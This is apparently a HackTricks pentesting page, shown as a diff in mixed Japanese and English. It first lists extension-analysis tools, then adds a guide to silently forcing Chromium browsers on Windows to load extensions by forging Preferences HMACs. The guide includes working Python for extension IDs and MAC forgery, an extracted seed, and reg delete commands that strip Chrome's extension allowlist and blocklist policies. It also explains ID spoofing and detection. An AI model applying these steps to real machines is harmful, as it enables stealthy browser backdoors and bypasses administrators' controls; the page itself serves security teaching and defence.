- The app [https://crxaminer.tech/](https://crxaminer.tech/) analyzes some data like the permissions browser extension requests to give a risk level of using the browser extension.
## Tools
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- 提供されたChromeウェブストアリンクから任意のChrome拡張機能を取得します。
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューワー**: 拡張機能のマニフェストのJSON整形版を表示します。
- **フィンガープリンター分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) の検出とChrome拡張機能フィンガープリンティングJavaScriptの自動生成。
- **潜在的なClickjacking分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ディレクティブが設定された拡張機能のHTMLページの検出。これらはページの目的に応じてClickjackingに脆弱である可能性があります。
- **権限警告ビューワー**: ユーザーが拡張機能をインストールしようとした際に表示されるChromeの権限プロンプト警告のリストを表示します。
- **危険な関数**: 攻撃者によって悪用される可能性のある危険な関数の場所を示します（例: innerHTML、chrome.tabs.executeScriptなど）。
- **エントリーポイント**: 拡張機能がユーザー/外部入力を受け取る場所を示します。これは拡張機能の表面積を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。
- 危険な関数とエントリーポイントスキャナーは、生成されたアラートに対して以下の情報を持っています：
- アラートを引き起こした関連コードスニペットと行。
- 問題の説明。
- コードを含む完全なソースファイルを表示するための「ファイルを表示」ボタン。
- アラートが発生したファイルのパス。
- アラートが発生したファイルの完全なChrome拡張機能URI。
- それがどのタイプのファイルであるか（バックグラウンドページスクリプト、コンテンツスクリプト、ブラウザアクションなど）。
- 脆弱な行がJavaScriptファイルにある場合、それが含まれているすべてのページのパスとこれらのページのタイプ、[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ステータス。
- **コンテンツセキュリティポリシー（CSP）アナライザーおよびバイパスチェッカー**: これは拡張機能のCSPの弱点を指摘し、ホワイトリストに登録されたCDNなどによるCSPのバイパスの潜在的な方法を明らかにします。
- **既知の脆弱なライブラリ**: これは[Retire.js](https://retirejs.github.io/retire.js/)を使用して、既知の脆弱なJavaScriptライブラリの使用をチェックします。
- 拡張機能とフォーマットされたバージョンをダウンロード。
- 元の拡張機能をダウンロード。
- 拡張機能の美化されたバージョンをダウンロード（自動整形されたHTMLとJavaScript）。
- スキャン結果の自動キャッシュ。拡張機能のスキャンを初めて実行する際にはかなりの時間がかかります。しかし、2回目は、拡張機能が更新されていない限り、結果がキャッシュされているためほぼ瞬時に完了します。
- リンク可能なレポートURL。誰かにTarnishによって生成された拡張機能のレポートに簡単にリンクできます。
- Pulls any Chrome extension from a provided Chrome webstore link.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simply displays a JSON-prettified version of the extension’s manifest.
- **Fingerprint Analysis**: Detection of [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) and automatic generation of Chrome extension fingerprinting JavaScript.
- **Potential Clickjacking Analysis**: Detection of extension HTML pages with the [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) directive set. These are potentially vulnerable to clickjacking depending on the purpose of the pages.
- **Permission Warning(s) viewer**: which shows a list of all the Chrome permission prompt warnings which will be displayed upon a user attempting to install the extension.
- **Dangerous Function(s)**: shows the location of dangerous functions which could potentially be exploited by an attacker (e.g. functions such as innerHTML, chrome.tabs.executeScript).
- **Entry Point(s)**: shows where the extension takes in user/external input. This is useful for understanding an extension’s surface area and looking for potential points to send maliciously-crafted data to the extension.
- Both the Dangerous Function(s) and Entry Point(s) scanners have the following for their generated alerts:
- Relevant code snippet and line that caused the alert.
- Description of the issue.
- A “View File” button to view the full source file containing the code.
- The path of the alerted file.
- The full Chrome extension URI of the alerted file.
- The type of file it is, such as a Background Page script, Content Script, Browser Action, etc.
- If the vulnerable line is in a JavaScript file, the paths of all of the pages where it is included as well as these page’s type, and [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
- **Content Security Policy (CSP) analyzer and bypass checker**: This will point out weaknesses in your extension’s CSP and will also illuminate any potential ways to bypass your CSP due to whitelisted CDNs, etc.
- **Known Vulnerable Libraries**: This uses [Retire.js](https://retirejs.github.io/retire.js/) to check for any usage of known-vulnerable JavaScript libraries.
- Download extension and formatted versions.
- Download the original extension.
- Download a beautified version of the extension (auto prettified HTML and JavaScript).
- Automatic caching of scan results, running an extension scan will take a good amount of time the first time you run it. However the second time, assuming the extension hasn’t been updated, will be almost instant due to the results being cached.
- Linkable Report URLs, easily link someone else to an extension report generated by tarnish.
### [Neto](https://github.com/elevenpaths/neto)
プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し、解明するために考案されたPython 3パッケージです。`manifest.json`、ローカリゼーションフォルダ、またはJavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルを解凍するプロセスを自動化します。
Project Neto is a Python 3 package conceived to analyse and unravel hidden features of browser plugins and extensions for well-known browsers such as Firefox and Chrome. It automates the process of unzipping the packaged files to extract these features from relevant resources in a extension like `manifest.json`, localization folders or Javascript and HTML source files.
## 参考文献
## References
- **この方法論に関する助けを** [**@naivenom**](https://twitter.com/naivenom) **に感謝します**
- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)

219
src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md Normal file
View File

@ -0,0 +1,219 @@
# Forced Extension Load & Preferences MAC Forgery (Windows)
{{#include ../../banners/hacktricks-training.md}}
## 概要
ユーザーの Preferences/Secure Preferences を編集し、変更したノードに対して有効な HMAC を偽造することで、Windows 上の Chromium ベースブラウザに任意の拡張機能を強制的に読み込ませるステルスな post-exploitation 手法です。Chrome/Chromium、Edge、Brave に対して有効で、公開時点では Chromium 130 から 139 に適用されることが確認されています。被害者プロファイルに対する単純なディスク書き込みプリミティブがあれば、コマンドラインフラグやユーザーのプロンプトなしで完全権限の拡張機能を永続化できます。
> 重要な考え方: Chromium はユーザーごとの拡張機能の状態を JSON の preferences ファイルに格納し、HMAC-SHA256 で保護します。ブラウザに組み込まれた seed を使って有効な MAC を計算し、それらを注入したノードの隣に書き込めば、ブラウザはその拡張エントリを受け入れて有効化します。
## 拡張機能の状態が格納される場所 (Windows)
- ドメイン非参加の Chrome プロファイル:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (root "super_mac" を含む).
- ドメイン参加の Chrome プロファイル:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Chromium が使用する主なノード:
- extensions.settings.<extension_id> → 拡張エントリの埋め込み manifest/メタデータ
- protection.macs.extensions.settings.<extension_id> → その JSON ブロブの HMAC
- Chromium ≥134: extensions.ui.developer_mode (boolean) が存在し、unpacked extensions を有効化するために MAC 署名されている必要がある
簡略化したスキーマ（例示）：
```json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
```
注意:
- Edge/Brave は同様の構造を維持します。保護用の seed 値は異なる場合があります（Edge/Brave の一部ビルドでは null/other seed が使われているのが観察されています）。
## Extension IDs: path vs key and making them deterministic
Chromium は拡張機能の ID を次のように導出します:
- パック済み/署名済み拡張機能: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
- アンパック（manifest に key がない場合）: ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
複数ホスト間で安定した ID を保持するには、manifest.json の "key" に固定の base64 DER 公開鍵を埋め込んでください。ID はインストールパスではなくこの "key" から導出されます。
Helper to generate a deterministic ID and a key pair:
```python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
```
生成した公開鍵を manifest.json に追加して ID を固定してください:
```json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
```
## Preferences の整合性 MACs を偽造する (core bypass)
Chromium は各ノードの "path" + シリアライズされた JSON 値に対して HMAC‑SHA256 を用いて preferences を保護しています。HMAC の seed はブラウザの resources.pak に埋め込まれており、Chromium 139 まで有効でした。
GRIT pak_util を使って seed を抽出し、seed container を特定します（テストしたビルドでは file id 146）：
```bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
```
MACs (uppercase hex) を次のように計算する:
```text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
```
最小限の Python 例:
```python
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
```
Write the values under:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
> Implementation tips
> - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.
## End‑to‑end silent load flow (Windows)
1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
決定論的な ID を生成し、manifest.json に "key" を埋め込みます；必要な権限（service worker/content scripts）を持つ unpacked MV3 extension を準備します。
2) Create extensions.settings.<id> by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
manifest と Chromium が要求する最小限のインストールメタデータ（state、unpacked の path など）を埋め込んで extensions.settings.<id> を作成します。
3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
resources.pak（file 146）から HMAC seed を抽出し、2 つの MAC を計算します：settings ノード用と extensions.ui.developer_mode 用（Chromium ≥134）。
4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges
作成したノードと MAC をターゲットプロファイルの Preferences／Secure Preferences に書き込みます；次回起動時に拡張は宣言された権限で自動的に有効化されます。
## Bypassing enterprise controls
- Whitelisted extension hash spoofing (ID spoofing)
1) Install an allowed Web Store extension and note its ID
許可された Web Store extension をインストールし、その ID を確認します。
2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
公開鍵を取得します（例：background/service worker 内で chrome.runtime.getManifest().key を使う、または .crx を取得して解析するなど）。
3) Set that key as manifest.key in your modified extension to reproduce the same ID
修正した extension の manifest.key にその鍵を設定し、同じ ID を再現します。
4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
Preferences にエントリを登録し MAC に署名します → ID のみでマッチする ExtensionInstallAllowlist チェックを回避できます。
- Extension stomping (ID collision precedence)
- If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
ローカルの unpacked extension がインストール済みの Web Store extension と同じ ID を持つ場合、Chromium は unpacked の方を優先します。これにより信頼された ID を保持したまま正当な拡張が chrome://extensions 上で置き換えられます。Chrome と Edge で検証済み（例：Adobe PDF）。
- Neutralizing GPO via HKCU (requires admin)
- Chrome/Edge policies live under HKCU\Software\Policies\*
Chrome/Edge のポリシーは HKCU\Software\Policies\* 下にあります。
- With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
管理者権限がある場合、エントリを書き込む前にポリシーキーを削除／変更してブロックを回避してください：
```powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
```
## ノイジーなフォールバック: コマンドライン読み込み
Chromium ≥137 以降では、--load-extension は次の引数も渡す必要があります:
```text
--disable-features=DisableLoadExtensionCommandLineSwitch
```
この手法は広く知られており監視対象になっている（例: EDR/DFIR による監視、Chromeloader のようなコモディティマルウェアでも使用されている）。Preference MAC forging の方がよりステルス性が高い。
Related flags and more cross‑platform tricks are discussed here:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
{{#endref}}
## Operational impact
一旦承認されると、拡張機能は宣言された権限で動作し、DOM へのアクセス、request interception/redirects、cookie/storage access、および screenshot capture を可能にする — 実質的にはブラウザ内でのコード実行とユーザープロファイルに対する永続化を実現する。SMB やその他のチャネル経由でのリモート展開は、Preferences を介したデータ駆動の有効化により容易である。
## Detection and hardening
- Preferences/Secure Preferences に書き込む非‑Chromium プロセスを監視する。特に extensions.settings の下に新しいノードが作成され、protection.macs エントリと組み合わされている場合に注意する
- extensions.ui.developer_mode の予期しない切り替えや、HMAC‑valid だが承認されていない extension エントリについてアラートを出す
- HKCU/HKLM Software\Policies の改竄を監査する；device management/Chrome Browser Cloud Management を通じてポリシーを強制する
- extension ID のみで一致させる allowlists よりも、verified publishers による store からの forced‑install を優先する
## References
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
{{#include ../../banners/hacktricks-training.md}}